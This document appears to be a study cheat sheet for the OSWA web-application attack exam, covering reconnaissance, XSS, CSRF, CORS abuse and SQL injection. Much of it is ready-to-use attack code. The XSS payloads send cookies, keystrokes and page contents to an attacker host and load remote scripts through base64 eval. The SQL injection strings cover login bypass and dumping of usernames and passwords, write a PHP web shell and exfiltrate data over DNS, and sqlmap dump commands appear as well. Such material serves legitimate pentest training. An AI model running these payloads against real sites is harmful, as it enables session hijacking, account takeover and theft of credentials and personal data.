OSWA Exam - Guided By RedBlock

Tooling & methodology          File/Directory/Parameter discovery      Offensive JavaScript
Cross-Site Scripting (XSS)     Cross-Site Request Forgery (CSRF)        CORS misconfigurations
Database enumeration           SQL Injection (SQLi)                      Directory Traversal
XML External Entities (XXE)    Server-Side Template Injection (SSTI)     Server-Side Request Forgery (SSRF)
Command Injection              Insecure Direct Object References (IDOR)  Full web assessment (capstone)

POST /login HTTP/1.1                ← method, path, version
Host: target.com                    ← headers (Host attacks, routing)
Cookie: session=abc123              ← session token (XSS/CSRF/hijack target)
Content-Type: application/x-www-form-urlencoded   ← switching this bypasses parsers/filters
Referer: https://target.com/        ← CSRF/CORS checks (often bypassable)
Origin: https://target.com           ← CORS/CSRF
User-Agent: ...                      ← sometimes reflected/logged (XSS, log poisoning)

username=admin&password=secret        ← body parameters (injection points)

HTTP/1.1 200 OK                       ← status (differences reveal boolean conditions)
Set-Cookie: session=xyz; HttpOnly; SameSite=Lax   ← cookie flags matter for XSS/CSRF
Access-Control-Allow-Origin: ...      ← CORS policy (§13)
Content-Type: text/html; charset=utf-8  ← determines XSS context / parser
...reflected input here...            ← where reflected XSS/SQLi results appear

ORIGIN = scheme + host + port  (https://target.com:443)
SOP: a document from one origin CANNOT read the response of a request to a DIFFERENT origin
     (by default). This is why your malicious page can't just read a victim's data from target.com.
- XSS DEFEATS SOP: your script runs IN target.com's origin → it can read/do anything there (§7).
- CORS RELAXES SOP: a server can opt-in to allow cross-origin reads — misconfigured = data theft (§13).
- CSRF ABUSES the fact that requests (not reads) are sent cross-origin WITH cookies (§12).

URL encoding:        space=%20/+  <=%3C  '=%27  "=%22  /=%2F   (for URL-safe payloads & bypass)
Double URL encoding: <=%253C                                    (filter decodes once, app twice)
HTML entities:       <=&lt; &#60; &#x3c;   >=&gt;                (HTML contexts, XSS bypass)
Base64:              encode/decode payloads & data (atob/btoa in JS; `base64` CLI) — §6
Unicode/hex (JS):    \u003c  \x3c                               (JS-context XSS bypass)

reflected into HTML/JS      → XSS (§7-11)
used in a SQL query          → SQL injection (§14-17)
used in an OS command        → command injection (§22)
used as a file path/name     → directory traversal / LFI (§18)
parsed as XML                → XXE (§19)
rendered by a template engine→ SSTI (§20)
a URL the server fetches     → SSRF (§21)
an object/record identifier  → IDOR (§23)
a state-changing action      → CSRF (§12)
a cross-origin data request  → CORS (§13)

1. Burp > Proxy > listener 127.0.0.1:8080.
2. Set the BROWSER proxy to 127.0.0.1:8080 manually (OS/browser proxy, not just an extension).
3. Install Burp's CA cert (browse http://burp → CA Certificate → import to the browser/OS trust store)
   so HTTPS intercepts cleanly.
4. Verify: browse the target → traffic appears in Burp HTTP history.

# Nmap — host/service discovery & web-relevant scripts
sudo nmap -sV -p- --min-rate 2000 <target>
sudo nmap -p80,443 --script http-enum,http-headers,http-methods,http-title <target>

# Gobuster — directory/file & DNS brute force
gobuster dir -u http://<target> -w /usr/share/wordlists/dirb/common.txt -x php,html,txt,bak -b 403,404
gobuster dir -u http://<target> -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50

# Wfuzz — flexible fuzzer (files, dirs, PARAMETERS, values, headers)
wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/common.txt --hc 404 http://<target>/FUZZ
wfuzz -c -z file,params.txt --hh <baseline-chars> "http://<target>/page.php?FUZZ=test"   # parameter discovery
wfuzz -c -z range,1-1000 --hc 404 "http://<target>/item?id=FUZZ"                          # IDOR/value fuzzing

# ffuf / feroxbuster — fast fuzzing alternatives
ffuf -w wordlist.txt -u http://<target>/FUZZ -mc 200,301,302,403 -e .php,.txt,.bak
feroxbuster -u http://<target> -x php,bak,zip

# Hakrawler — crawl a target to discover URLs, endpoints, params, JS files
echo http://<target> | hakrawler -d 3
# whatweb / nikto — fingerprinting & server misconfig
whatweb http://<target> ; nikto -h http://<target>
# sqlmap — automated SQL injection (§17)

curl / wget      scriptable requests & PoCs           jq        parse JSON API responses
python3 http.server / a CORS-enabled server (§13)     base64    encode/decode payloads
Burp Collaborator / interactsh   out-of-band detection for blind vulns

1. RECON / FINGERPRINT
   - identify the server, framework, language, CMS, and technologies (whatweb/nikto/headers/cookies).
   - note WAF presence and behavior.
2. MAP THE APPLICATION
   - browse EVERY feature through Burp (log in, use all functionality) → build the full site map.
   - capture every page, endpoint, parameter, form, header, cookie, and API call.
3. DISCOVERY (find the hidden surface — §5)
   - brute-force files/directories (Gobuster/ffuf), parameters (Wfuzz/Param Miner), and endpoints
     (Hakrawler, JS review). Read robots.txt, sitemap, comments, and JS for leaked paths/params/keys.
4. ANALYZE INPUTS (build the testing matrix)
   - for EACH input (param, header, cookie, body field, path segment, file name):
     determine where it flows (HTML/JS/SQL/command/file/XML/template/URL/object-ref) and test the
     relevant vuln class(es) (the map in §2).
5. EXPLOIT
   - confirm and weaponize each finding; extract data, execute scripts/commands, bypass controls.
6. CHAIN & ESCALATE (§24)
   - combine findings for higher impact (XSS→ATO, SQLi→data breach, SSRF→internal, LFI→source→RCE).
7. DOCUMENT (§26)
   - capture requests/responses, payloads, impact, and reproduction for the report.

             XSS  SQLi  CmdInj  SSRF  Traversal  XXE  SSTI  IDOR  CSRF  CORS
URL param     ✓    ✓     ✓      ✓       ✓        -    ✓     ✓     -     -
form field    ✓    ✓     ✓      ✓       ✓        -    ✓     ✓     ✓     -
JSON body     ✓    ✓     ✓      ✓       -        ✓    ✓     ✓     ✓     -
XML body      ✓    ✓     -      ✓       -        ✓    -     -     -     -
cookie        ✓    ✓     -      -       -        -    -     ✓     ✓     -
header (Host,UA,Referer) ✓ ✓   ✓      ✓       -        -    -     -     -     ✓
file name/upload ✓   -    ✓      -       ✓        ✓    -     -     -     -
path segment  -    -     -      -       ✓        -    -     ✓     -     -
object id/ref -    ✓     -      -       -        -    -     ✓     -     -

PHP (.php, PHPSESSID)   → LFI/RFI, php wrappers, type juggling, some SSTI (Twig/Smarty)
Java (.jsp, JSESSIONID) → SSTI (Freemarker/Velocity/Thymeleaf), XXE, deserialization
Python (Django/Flask)   → SSTI (Jinja2), debug consoles
Node.js (connect.sid)   → NoSQLi, SSTI (Handlebars/Pug), prototype pollution
ASP.NET (.aspx)         → ViewState, request validation quirks
Templating detected     → SSTI (§20)   |   XML endpoints → XXE (§19)   |   URL-fetch features → SSRF (§21)

# Gobuster
gobuster dir -u http://<target> -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
  -x php,html,txt,bak,old,zip,tar.gz,sql,config,json -b 403,404 -t 50
gobuster dir -u http://<target> -w common.txt -r   # follow redirects

# ffuf (fast; good for recursion & extensions)
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
  -u http://<target>/FUZZ -mc 200,301,302,403 -recursion -e .php,.bak,.txt,.zip
# feroxbuster (recursive by default)
feroxbuster -u http://<target> -x php,bak,zip,txt -d 3
# dirsearch / dirb — classic alternatives

/admin /administrator /manage /dashboard /panel        → admin interfaces
/api /api/v1 /graphql /swagger /openapi.json /api-docs  → API endpoints & docs
/.git/ /.svn/ /.env /config.php.bak /wp-config.bak      → source/secrets exposure
/backup/ *.bak *.old *.zip *.tar.gz *.sql               → backups & DB dumps
/robots.txt /sitemap.xml /.well-known/                  → DISCLOSED paths (always read these)
/test/ /dev/ /staging/ /old/ /tmp/                      → debug/dev versions
/phpinfo.php /server-status /actuator /debug            → info disclosure

# Wfuzz — GET parameter discovery (filter the baseline response size/chars)
wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
  --hh <baseline-chars> "http://<target>/page.php?FUZZ=test"
# ffuf — parameter discovery
ffuf -w params.txt -u "http://<target>/page.php?FUZZ=1" -fs <baseline-size>
# Arjun — dedicated parameter discovery tool
arjun -u http://<target>/page.php
arjun -u http://<target>/api/endpoint -m POST
# Burp Param Miner — guess hidden params & unkeyed headers (extension)

# Hakrawler — crawl for URLs, endpoints, params, JS files
echo http://<target> | hakrawler -d 3
# katana / gau / waybackurls — endpoint discovery (incl. archived)
# Extract endpoints/params/secrets from JavaScript files:
curl -s http://<target>/app.js | grep -oE '"/[a-zA-Z0-9_/.-]+"'       # paths in JS
curl -s http://<target>/app.js | grep -iE 'api|token|key|secret|url'  # secrets/endpoints
# LinkFinder / SecretFinder — automate endpoint/secret extraction from JS

ffuf -w subdomains.txt -u http://<target> -H "Host: FUZZ.target.com" -fs <baseline>

// image beacon (simple, works in most contexts, no CORS needed)
new Image().src = "http://192.168.1.1/log?d=" + encodeURIComponent(document.cookie);
// fetch (POST, larger data)
fetch("http://192.168.1.1/log", {method:"POST", mode:"no-cors", body: document.cookie});
// navigator.sendBeacon (survives page unload)
navigator.sendBeacon("http://192.168.1.1/log", document.cookie);

new Image().src = "http://192.168.1.1/c?=" + document.cookie;
// then set the stolen cookie in your browser/Burp → you are the victim

// read a sensitive same-origin page/API with the victim's session, then exfiltrate it
fetch("/account/settings", {credentials:"include"})
  .then(r => r.text())
  .then(d => fetch("http://192.168.1.1/x?d=" + btoa(d), {mode:"no-cors"}));
// e.g. steal an API key, CSRF token, profile data, admin page content

// read the anti-CSRF token from the page, then submit a state-changing request as the victim
fetch("/account/change-email", {
  method:"POST", credentials:"include",
  headers:{"Content-Type":"application/x-www-form-urlencoded"},
  body:"[email protected]"
});
// or first GET a form to extract its CSRF token, then POST with it included

document.onkeypress = e => new Image().src = "http://192.168.1.1/k?=" + e.key;
// or inject a fake login form and capture submitted credentials

var a = document.createElement("script");
a.src = "http://192.168.1.1/payload.js";   // your full payload hosted on your server
document.body.appendChild(a);

window.location.replace("http://192.168.1.1/payload.html");   // replace the page with your own
// or swap the DOM to a fake login form in the trusted origin

eval(atob("<base64-of-your-JS>"));   // base64-decode and run (defeats many keyword filters)
// build strings from char codes / hex / unicode to evade signatures

#!/usr/bin/env python3
# Use instead of `python3 -m http.server` when you need CORS (host payloads + catch exfil)
from http.server import HTTPServer, SimpleHTTPRequestHandler
class CORSRequestHandler(SimpleHTTPRequestHandler):
    def end_headers(self):
        self.send_header('Access-Control-Allow-Origin', '*')
        self.send_header('Access-Control-Allow-Methods', 'GET, POST, OPTIONS')
        self.send_header('Cache-Control', 'no-store, no-cache, must-revalidate')
        return super().end_headers()
    def do_OPTIONS(self):
        self.send_response(200); self.end_headers()
HTTPServer(('0.0.0.0', 8888), CORSRequestHandler).serve_forever()

SOURCE (where attacker input enters):  URL param, form field, header, cookie, path, stored content,
   DOM source (location.hash/search, document.referrer, postMessage), JSON/API response.
SINK (where it's output/executed):  HTML body, HTML attribute, <script> block, event handler, URL
   (href/src), or a dangerous JS sink (innerHTML, document.write, eval, setTimeout, jQuery $()).
CONTEXT (where in the page it lands) DICTATES THE PAYLOAD:
   - HTML body:        <script>...</script>, <img onerror=...>, <svg onload=...>
   - HTML attribute:   break out of the attribute first:  "> or " onX=...
   - JavaScript string: break out of the string:  ';...//  or  '-...-'
   - URL/href:         javascript:...
   - inside <script>:  </script><script>...  or break the JS syntax

# the app reflects the 'q' parameter into the page unencoded:
http://target.com/search?q=<script>alert(document.domain)</script>
# attribute-context example (break out first):
http://target.com/search?q="><svg onload=alert(1)>

<!-- stored in a comment/profile field, executes when anyone views it -->
<script>new Image().src="http://192.168.1.1/c?="+document.cookie</script>
<img src=x onerror="/* steal admin session when admin views the ticket */">

SOURCES:  location.hash / location.search / location.href / document.referrer / document.URL /
          window.name / postMessage data / localStorage
SINKS:    innerHTML / outerHTML / document.write / eval / setTimeout / setInterval /
          element.src / location / jQuery $() / .html()

// vulnerable JS:  document.getElementById('out').innerHTML = location.hash.substring(1);
// exploit URL (fragment — not sent to server):
http://target.com/page#<img src=x onerror=alert(document.cookie)>
// jQuery sink:  $(location.hash)  →  #<img src=x onerror=alert(1)>
// document.write source:  document.write(location.search) → ?x=<script>alert(1)</script>

REFLECTED: input in request → reflected in THIS response (server-side). Delivered via a link.
STORED:    input saved → served to many viewers later (server-side). Second-order; highest impact.
DOM:       input → dangerous JS sink, all client-side. Server may never see it; filters miss it.

1. INJECT A UNIQUE MARKER into every input (params, form fields, headers, cookies, path, stored fields):
   e.g.  oswa1337  → search the response for it. Is it reflected? Stored? In what CONTEXT?
2. PROBE THE CONTEXT with safe characters to see what's filtered/encoded:
   < > " ' ` / ( ) { } ;  and your marker → observe which survive raw vs. get encoded/stripped.
   e.g. inject:  oswa1337<>"'   → see what comes back intact.
3. CRAFT PER CONTEXT (from §7): HTML body / attribute / JS string / URL / inside <script>.
4. CONFIRM EXECUTION with a benign proof (alert(document.domain), or a unique console/DNS marker).
5. For STORED: inject, then browse all render locations. For DOM: trace source→sink in JS.

<!-- HTML body -->
<script>alert(document.domain)</script>
<img src=x onerror=alert(1)>   <svg onload=alert(1)>   <body onload=alert(1)>
<!-- break out of an attribute value -->
"><script>alert(1)</script>    "><svg onload=alert(1)>    " autofocus onfocus=alert(1) x="
'><img src=x onerror=alert(1)>
<!-- inside a JS string (break the string) -->
';alert(1)//    '-alert(1)-'    \';alert(1)//
<!-- inside an existing <script> block -->
</script><script>alert(1)</script>
<!-- URL / href context -->
javascript:alert(1)
<!-- no <script> allowed → event handlers -->
<input autofocus onfocus=alert(1)>   <details open ontoggle=alert(1)>
<marquee onstart=alert(1)>   <video><source onerror=alert(1)>   <select autofocus onfocus=alert(1)>

<!-- case variation (defeat case-sensitive blacklists) -->
<ScRiPt>alert(1)</ScRiPt>   <iMg SrC=x OnErRoR=alert(1)>
<!-- tag/keyword obfuscation (defeat naive strip-once) -->
<scr<script>ipt>alert(1)</scr</script>ipt>      <img/src=x/onerror=alert(1)>   <svg/onload=alert(1)>
<!-- HTML-entity / numeric encoding in attributes -->
<img src=x onerror=&#97;lert(1)>                <a href="javascript:&#x61;lert(1)">x</a>
<!-- no parentheses (filtered) -->
<svg onload=alert`1`>       <svg onload="window.onerror=alert;throw 1">
<!-- no quotes / no spaces -->
<svg/onload=alert`1`>       <img src=x onerror=alert`1`>
<!-- base64 eval (defeat keyword filters on 'alert', 'document', etc.) -->
<svg onload=eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='))>
<!-- allow-list evasion: if only some tags/attrs allowed -->
<svg><animate onbegin=alert(1) attributeName=x dur=1s>
<svg><a><animate attributeName=href values=javascript:alert(1)/><text x=20 y=20>click</text></a></svg>
<!-- JS context escapes with unicode/hex -->
\u0061lert(1)   \x61lert(1)

1. CONFIRM the WAF/filter and what it blocks: inject increasingly specific payloads and binary-search
   which keyword/char/tag triggers the block (e.g. is it 'script'? '<'? 'onerror'? 'alert'?).
2. TRANSFORM the blocked part while keeping it valid FOR THE CONTEXT: case, encoding, alt tags/events,
   no-paren/no-quote variants, base64 eval, allow-list-friendly tags (svg/animate).
3. ITERATE until it passes AND executes. Target the browser's PARSER, not the filter's regex — find a
   representation the browser runs but the filter doesn't match.
4. Check for a Content-Security-Policy (CSP) — it may block inline/external scripts; adapt (e.g.
   use allowed sources, dangling markup, or report-only gaps) or report it as a mitigating control.

"><script src=http://192.168.1.1></script>
<!-- your server at 192.168.1.1 serves the real JS (keep the injected part minimal) -->

javascript:eval('var a=document.createElement(\'script\');a.src=\'http://192.168.1.1\';document.body.appendChild(a)')

<!-- inner JS (modify your IP, then base64-encode it, and place the base64 in the id):
       var a=document.createElement("script");a.src="http://192.168.1.1";document.body.appendChild(a);
   final payload shape: -->
"><img src=x id=<base64-of-inner-JS> onerror=eval(atob(this.id))>

<img src=x onerror="javascript:window.location.replace('http://192.168.1.1/payload.html')">

<script>new Image().src="http://192.168.1.1/c?="+document.cookie</script>
<script>fetch('http://192.168.1.1/c',{method:'POST',mode:'no-cors',body:document.cookie})</script>

<script>
fetch('/account/apikey',{credentials:'include'}).then(r=>r.text())
 .then(d=>new Image().src='http://192.168.1.1/x?d='+btoa(d));
</script>

<script>
fetch('/api/newuser',{method:'POST',credentials:'include',
 headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'username=MyUser'});
</script>

<script>document.onkeypress=e=>new Image().src='http://192.168.1.1/k?='+e.key</script>

1. Find a field stored and rendered to an admin (e.g., a support-ticket body, a username, a product
   review, a "contact us" message shown in an admin panel).
2. Store a cookie-exfil payload:
     <script>new Image().src="http://192.168.1.1/c?="+document.cookie</script>
   (or, if HttpOnly, exfiltrate the admin page content / perform an action instead).
3. The admin opens the page → their session cookie hits your server.
4. Set the admin cookie in Burp → browse the admin panel AS the admin → full takeover.
5. REPORT: Stored XSS (location/field) → Session Hijacking → Admin Account Takeover (Critical), with
   the exact stored payload, the render location, the captured request, and the mitigation.

1. Confirm reflection & context in a parameter (e.g. ?q="><svg onload=...>).
2. Build a URL that runs cookie-exfil JS (host a secondary payload for anything non-trivial).
3. Deliver the link to the victim (in the exam: demonstrate the delivery/PoC).
4. Victim clicks → their session is exfiltrated → ATO. Document the URL, payload, and impact.

1. Inject a payload that, when executed ANYWHERE, calls back to YOUR server with context (URL, cookies,
   DOM, user-agent) — so you learn WHERE it fired and WHAT it can access.
2. Seed it into every input that might be rendered elsewhere (support forms, profile fields, headers
   like User-Agent/Referer, filenames, order notes, API fields, logs).
3. WAIT for a callback to your server. When it arrives, you've confirmed blind XSS AND captured the
   context (often an admin/internal interface) — potentially with the admin's cookies/data.

<!-- minimal loader → your hosted script does enrichment/exfiltration -->
"><script src=http://192.168.1.1></script>
<!-- self-contained beacon that reports the firing context -->
<script>new Image().src='http://192.168.1.1/b?u='+encodeURIComponent(location.href)
  +'&c='+encodeURIComponent(document.cookie)
  +'&d='+encodeURIComponent(document.domain);</script>
<!-- base64 loader (filter evasion) -->
"><img src=x id=<base64> onerror=eval(atob(this.id))>

support/contact forms · feedback · bug reports · order/delivery notes · username/display name ·
profile fields (bio, company) · address fields · file names on upload · HTTP headers logged &
displayed (User-Agent, Referer, X-Forwarded-For) · API/JSON fields rendered in admin tooling ·
anything that lands in an admin dashboard, log viewer, or internal review queue.

1. Victim is logged into target.com (holds a valid session cookie).
2. Victim visits attacker.com (or opens a malicious link/email/ad).
3. attacker.com triggers a request to target.com (form auto-submit, img, fetch).
4. The browser AUTO-ATTACHES the victim's target.com cookies → the request is AUTHENTICATED.
5. The state-changing action executes AS THE VICTIM, without their knowledge.
# SOP prevents attacker.com from READING target.com's responses, but does NOT prevent SENDING the
#   request with cookies — that gap is what CSRF exploits.

<!-- auto-submitting POST form (most common) -->
<form action="https://target.com/account/change-email" method="POST" id="x">
  <input type="hidden" name="email" value="[email protected]">
</form><script>document.getElementById('x').submit()</script>

<!-- GET-based CSRF (even simpler, if the action accepts GET) -->
<img src="https://target.com/account/delete?confirm=true">

// targets /api/newuser on target.com to create user "MyUser"; cookies auto-included.
var user = "username=MyUser";
var host = "https://192.168.1.1";
var api_url = "/api/newuser";
function create_user() {
  console.log("Creating a new user...");
  fetch(host + api_url, {
    method: 'POST',
    mode: 'no-cors',             // we don't need to READ the response, just send the request
    credentials: 'include',      // send the victim's cookies
    headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
    body: user
  }).then(() => console.log("Should be done..."));
}
create_user();

1. In YOUR OWN browser (via Burp), perform the target action → capture the exact request:
   method, URL, parameters, and values (and whether a CSRF token is required).
2. Build the payload (auto-submit form or JavaScript fetch) replicating that request.
3. Deliver it so the VICTIM executes it: host the HTML and get them to visit, embed it via an XSS/
   HTML-injection on the target (CSRF-via-XSS — same-origin, bypasses tokens, §10), or phish a link.
4. Verify the action executed as the victim. (Profit.)

- NO ANTI-CSRF TOKEN (or not validated): the request works from a cross-site context → vulnerable.
- TOKEN NOT TIED TO THE SESSION: use YOUR OWN valid token in a request made as the victim.
- TOKEN ONLY CHECKED IF PRESENT: remove the token parameter entirely → still works.
- TOKEN IN A COOKIE (double-submit) BUT PREDICTABLE/SETTABLE: control both halves.
- METHOD CHANGE: token checked only on POST → try GET.
- REFERER-ONLY PROTECTION: omit the Referer (via referrer-policy) or it's not strictly validated.
- WEAK SAMESITE: SameSite=None/absent → cross-site POST sends cookies; SameSite=Lax still allows
   top-level-navigation GET.
- CONTENT-TYPE: if the endpoint accepts a simple content-type, a form-based CSRF works (no preflight).

Access-Control-Allow-Origin: https://trusted.com    ← which origin(s) may READ the response
Access-Control-Allow-Credentials: true              ← may the response be read WITH cookies/credentials?
Access-Control-Allow-Methods / -Headers             ← allowed methods/headers (preflight)

# send an arbitrary Origin and inspect the response's CORS headers:
curl -s -I https://target.com/api/account -H "Origin: https://evil.com" | grep -i access-control
# VULNERABLE patterns:
#   Access-Control-Allow-Origin: https://evil.com      (reflects ANY origin)  + ACAC: true  → exploitable
#   Access-Control-Allow-Origin: null                  (allows 'null' origin) + ACAC: true  → exploitable
#   ACAO reflects any *.target.com subdomain           → chain with a subdomain XSS/takeover

1. ORIGIN REFLECTION: server echoes whatever Origin you send into ACAO (+ ACAC: true) → any site reads data.
2. NULL ORIGIN ALLOWED: ACAO: null accepted → deliver from a sandboxed iframe / data: URL (origin 'null').
3. OVERLY-BROAD SUBDOMAIN TRUST: ACAO reflects any *.target.com → compromise/takeover a subdomain, or
   find an XSS on a subdomain, to meet the allowed-origin condition.
4. PREFIX/SUFFIX MATCHING FLAWS: weak origin validation (e.g., trusts "target.com.evil.com" or
   "eviltarget.com") → craft a matching attacker origin.
5. WILDCARD + CREDENTIALS MISUSE: (ACAO:* with credentials is disallowed by browsers, but reflection
   achieves the same effect — the real risk is reflection + credentials.)

<!-- hosted on attacker.com; when the victim visits, it reads their authenticated target.com data -->
<script>
fetch('https://target.com/api/account', {credentials:'include'})
  .then(r => r.text())
  .then(d => fetch('https://192.168.1.1/log?d=' + btoa(d), {mode:'no-cors'}));
</script>

<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
        srcdoc="<script>fetch('https://target.com/api/account',{credentials:'include'})
                .then(r=>r.text()).then(d=>fetch('https://192.168.1.1/log?d='+btoa(d),{mode:'no-cors'}))</script>">
</iframe>

DBMS TYPE & VERSION  → determines syntax (comments, functions, concatenation) and available attacks
CURRENT DATABASE/USER/PRIVILEGES → scope & capabilities (can you read files? write? stack queries?)
DATABASES/SCHEMAS    → what data stores exist
TABLES               → where the interesting data is (users, credentials, tokens, PII)
COLUMNS              → the fields to extract (username, password, email, role)
DATA                 → the actual values (credentials to crack/use, PII, secrets)

-- version string (reveals the DBMS):
MySQL/MariaDB:  SELECT @@version;        SELECT version();
MSSQL:          SELECT @@version;
PostgreSQL:     SELECT version();
Oracle:         SELECT banner FROM v$version;   (Oracle requires FROM; uses dual)
-- behavioral tells: error message format, comment syntax that works, concatenation operator,
--   string functions, and the need for FROM dual (Oracle).

-- current context
SELECT database();              -- MySQL current DB      (MSSQL: DB_NAME(); PG: current_database())
SELECT user();                  -- current user          (MSSQL: SYSTEM_USER; Oracle: SELECT user FROM dual)
-- list databases/schemas
SELECT schema_name FROM information_schema.schemata;
-- list tables in the current database
SELECT table_name FROM information_schema.tables WHERE table_schema=database();
-- list columns in a table
SELECT column_name FROM information_schema.columns WHERE table_name='users';
-- dump data
SELECT username,password FROM users;
-- concatenate for compact extraction (MySQL):
SELECT group_concat(username,0x3a,password) FROM users;        -- user:pass,user:pass,...
-- Oracle equivalents: all_tables / all_tab_columns; LISTAGG for concat; FROM dual.

                     MySQL                 MSSQL               PostgreSQL          Oracle
version              @@version/version()   @@version           version()           v$version (banner)
current db           database()            DB_NAME()           current_database()  (SELECT user FROM dual)
current user         user()/current_user() SYSTEM_USER         current_user        USER
list tables          information_schema.tables (MySQL/MSSQL/PG)                     all_tables
list columns         information_schema.columns (MySQL/MSSQL/PG)                    all_tab_columns
string concat        CONCAT()/CONCAT_WS    a+b                 a||b                a||b
comment              -- -  /  #            -- -                -- -                -- -
substring            SUBSTRING()           SUBSTRING()         SUBSTRING()         SUBSTR()

-- vulnerable: "SELECT * FROM products WHERE id = '" + input + "'"
-- input:  1' OR '1'='1   →  SELECT * FROM products WHERE id = '1' OR '1'='1'   (always true)

'                       -- single quote → SQL error or changed behavior? (likely injectable)
"                       -- try double quote too
1' AND '1'='1           -- TRUE  → normal page
1' AND '1'='2           -- FALSE → different page/result  (boolean difference = SQLi confirmed)
1' OR SLEEP(5)-- -       -- delay? → time-based confirms blind SQLi
# also test numeric contexts without quotes:  1 AND 1=1  vs  1 AND 1=2

admin'-- -            admin'#            admin'/*
' OR '1'='1'-- -       ' OR 1=1-- -       ' OR 1=1#
') OR ('1'='1'-- -     ') OR '1'='1'-- -
" OR "1"="1"-- -       ' OR 'x'='x
' OR 1=1 LIMIT 1-- -
# comment out the rest of the query (--, #, /*) and make the WHERE always true, or log in as 'admin'.

-- 1) determine the number of columns (so UNION matches):
' ORDER BY 1-- -     ' ORDER BY 2-- -   ...   (increment until it errors → N-1 columns)
' UNION SELECT NULL-- -       ' UNION SELECT NULL,NULL-- -   ...   (no error → correct column count)
-- 2) find which column(s) are displayed and take a string:
' UNION SELECT 'a',NULL,NULL-- -     (see where 'a' appears → that column is your output)
-- 3) enumerate & extract (place enumeration queries from §14 in the reflected column):
' UNION SELECT @@version,NULL,NULL-- -
' UNION SELECT table_name,NULL,NULL FROM information_schema.tables WHERE table_schema=database()-- -
' UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'-- -
' UNION SELECT username,password,NULL FROM users-- -
' UNION SELECT group_concat(username,0x3a,password),NULL,NULL FROM users-- -
-- data-type mismatch? use NULLs for non-matching columns; cast if needed.

-- MySQL: write a web shell (FILE privilege + writable webroot):
' UNION SELECT "<?php system($_GET['c']);?>",NULL,NULL INTO OUTFILE '/var/www/html/s.php'-- -
' UNION SELECT LOAD_FILE('/etc/passwd'),NULL,NULL-- -          -- read a file (FILE priv)
-- MSSQL: xp_cmdshell for command execution (if enabled & privileged).
-- PostgreSQL: COPY ... TO/FROM PROGRAM for command execution.

-- MySQL (extractvalue / updatexml force the data into an error):
' AND extractvalue(1,concat(0x7e,(SELECT @@version)))-- -
' AND updatexml(1,concat(0x7e,(SELECT group_concat(username,0x3a,password) FROM users LIMIT 1)),1)-- -
-- MSSQL (type-conversion error leaks the value):
' AND 1=CONVERT(int,(SELECT TOP 1 name FROM sysobjects))-- -
-- PostgreSQL (cast error):
' AND 1=CAST((SELECT version()) AS int)-- -
# the 0x7e (~) marks the start of your leaked data in the error string.

-- the page differs for TRUE vs FALSE conditions → ask yes/no questions, one bit/char at a time:
' AND (SELECT COUNT(*) FROM users)>5-- -                         -- is there >5 users?
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'-- -   -- first char = 'a'?
' AND ASCII(SUBSTRING((SELECT database()),1,1))>100-- -          -- binary-search the char value
# iterate position-by-position (and binary-search each char with ASCII/>) to extract strings.
# AUTOMATE this — doing it by hand is impractical for anything long (Intruder or a script; §17).

' AND IF(1=1,SLEEP(5),0)-- -                           -- MySQL: delay if true
'; WAITFOR DELAY '0:0:5'-- -                           -- MSSQL
' AND (SELECT 1 FROM PG_SLEEP(5))-- -                  -- PostgreSQL  (or ' || pg_sleep(5)-- -)
' AND 1=(SELECT 1 FROM dual WHERE DBMS_PIPE.RECEIVE_MESSAGE('a',5)=1)-- -   -- Oracle
-- time-based data extraction (delay encodes the answer):
' AND IF(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a',SLEEP(5),0)-- -
# if the response is delayed, the condition was true. Slowest method — last resort when nothing else leaks.

-- Oracle (force a DNS/HTTP request carrying the data to YOUR server/Collaborator):
' UNION SELECT extractvalue(xmltype('<?xml version="1.0"?><!DOCTYPE r [<!ENTITY % x SYSTEM "http://'||
   (SELECT user FROM dual)||'.<collab-id>.oast.site/">%x;]>'),'/l') FROM dual-- -
-- MSSQL: xp_dirtree / UNC path to your server; the queried data appears in the hostname of the callback.
# use Burp Collaborator / interactsh to receive the exfiltrated data in the subdomain.

Results shown in response?            → UNION / in-band (§15) — fastest, read directly.
Errors shown but not results?         → ERROR-BASED — leak data in error messages.
Page differs true vs false (no data)? → BOOLEAN-BLIND — infer char-by-char (automate).
No visible difference at all?         → TIME-BASED — infer via delay (automate; slowest).
No in-band channel but OOB possible?  → OOB — exfiltrate via DNS/HTTP (Oracle/MSSQL + Collaborator).

# Wfuzz — fuzz a parameter with SQLi probes, watch for errors/behavior changes:
wfuzz -c -z file,/usr/share/seclists/Injection/SQL.txt \
  --hc 404 "http://target.com/item.php?id=FUZZ"
# look for responses that differ (error signatures, different sizes/codes) → candidate injection points.

# ffuf — fuzz SQLi payloads and filter by response:
ffuf -w /usr/share/seclists/Injection/Generic-SQLi.txt -u "http://target.com/item.php?id=FUZZ" \
  -mc all -fs <baseline-size>     # flag responses that deviate from baseline

# Burp Intruder — load a SQLi payload list, inject at the parameter, sort by status/length/time to
#   spot anomalies (errors, boolean differences, delays).
# Common SQLi probe set: ' " '-- - ') ")-- - ' OR 1=1-- - ' AND SLEEP(5)-- -  etc.

# basic — GET parameter
sqlmap -u "http://target.com/item.php?id=1" -p id --batch
# POST data
sqlmap -u "http://target.com/login" --data="user=admin&pass=x" -p user
# from a saved Burp request (best for complex/authenticated/cookie-based requests)
sqlmap -r request.txt -p id
# with a session cookie / headers
sqlmap -u "http://target.com/page?id=1" --cookie="PHPSESSID=<sid>" --batch

# enumeration (escalate step by step)
sqlmap -r req.txt --dbs                               # list databases
sqlmap -r req.txt -D appdb --tables                   # tables
sqlmap -r req.txt -D appdb -T users --columns         # columns
sqlmap -r req.txt -D appdb -T users -C user,pass --dump    # dump specific columns
sqlmap -r req.txt --current-user --current-db --is-dba --hostname   # context/privileges

# advanced / tough cases
sqlmap -r req.txt --level=5 --risk=3                  # more tests, more aggressive (stubborn injections)
sqlmap -r req.txt --technique=BEUSTQ --dbms=mysql     # specify techniques & DBMS (faster/accurate)
